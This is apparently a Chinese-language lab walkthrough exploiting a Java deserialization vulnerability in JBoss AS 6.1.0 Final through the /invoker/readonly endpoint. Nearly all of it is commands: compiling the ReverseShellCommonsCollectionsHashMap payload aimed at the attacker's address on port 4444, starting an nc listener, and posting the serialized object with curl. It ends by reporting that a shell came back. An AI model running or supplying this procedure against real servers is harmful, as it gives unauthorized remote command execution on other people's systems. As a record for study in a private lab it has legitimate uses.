本机IP：192.168.220.145
靶机IP：192.168.220.139，版本为JBOSS AS 6.1.0 Final
首先访问目标地址，http://192.168.220.139:8080/invoker/readonly
返回500，一般存在
执行命令
┌─[root@sch01ar]─[~] └──? #cd /sch01ar/JavaDeserH2HC/ ┌─[root@sch01ar]─[/sch01ar/JavaDeserH2HC] └──? #javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java ┌─[root@sch01ar]─[/sch01ar/JavaDeserH2HC] └──? #java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.220.145:4444 Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser
生成了一个ReverseShellCommonsCollectionsHashMap.ser文件
用nc监听4444端口
┌─[?]─[root@sch01ar]─[~] └──? #nc -vlp 4444
发送payload
┌─[root@sch01ar]─[/sch01ar/JavaDeserH2HC] └──? #curl http://192.168.220.139:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
nc成功返回shell
